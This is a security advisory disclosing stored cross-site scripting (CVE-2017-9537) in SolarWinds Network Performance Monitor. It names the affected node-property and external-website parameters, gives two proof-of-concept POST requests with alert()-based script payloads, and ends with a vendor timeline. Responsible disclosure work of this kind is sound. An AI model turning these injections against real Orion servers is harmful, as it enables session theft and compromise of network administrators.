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Vulnerability type: Persistent Cross-Site Scripting
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Credit: Andy Tan
CVE ID: CVE-2017-9537
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Product: SolarWinds Network Performance Monitor
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Affected version: SolarWinds Network Performance Monitor version 12.0.15300.90 and possibly earlier
Hotfix: SolarWinds Orion Platform 2017.3 Hotfix 1

1.
Affected URL: https://<ip>/Orion/Nodes/Add/Properties.aspx
Affected parameter: City, Comments, Department
Affected functions: Group Description field, Last_XX_Events resource, Events page, and error page
Navigation: (Settings -> Manage Nodes -> Add Node)

2.
Affected Source URL: https://<ip>/Orion/Services/WebAdmin.asmx/CreateExternalWebsite
Affected parameter: FullTitle
Affected URL: https://<ip>/Orion/External.aspx?Site=<no>
Navigation: (Settings -> All Settings -> External Websites)


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Proof of Concept
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1.
POST /Orion/Nodes/Add/Properties.aspx HTTP/1.1

<Fill up rest of the headers>


<Fill up rest of the parameters>ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24ctl06%24repCustomProperties%24ctl00%24PropertyValue%24TextBoxEditorValue=%3CIMG%20SRC%3D%20a%20onerror%3Dalert('testXSSCity')%3E&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24ctl06%24repCustomProperties%24ctl01%24PropertyValue%24TextBoxEditorValue=%3CIMG%20SRC%3D%20a%20onerror%3Dalert('testXSSComments')%3E&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24ctl06%24repCustomProperties%24ctl02%24PropertyValue%24TextBoxEditorValue=%3CIMG%20SRC%3D%20a%20onerror%3Dalert('testXSSDept')%3E

2.
POST /Orion/Services/WebAdmin.asmx/CreateExternalWebsite HTTP/1.1

<Fill up rest of the headers>



{"site":{"ID":0,"ShortTitle":"title","FullTitle":"</title><script>alert('DTPTXSS!')</script>","URL":"url"},"menuBar":"Default"}

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Vendor contact timeline:
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2017-06-12: Contacted vendor.
2017-06-23: Vendor responded that bug jury completed and vulnerability is assigned to vNext milestone.
2017-08-22: Contacted vendor again.
2017-08-23: Vendor responded that hotfix will be released for all products shipping on Orion Core 2017.3
2017-09-28: Contacted vendor again.
2017-09-28: Vendor responded that the vulnerability is addressed in the recently released Hotfix for Core 2017.3
2017-09-29: Public disclosure.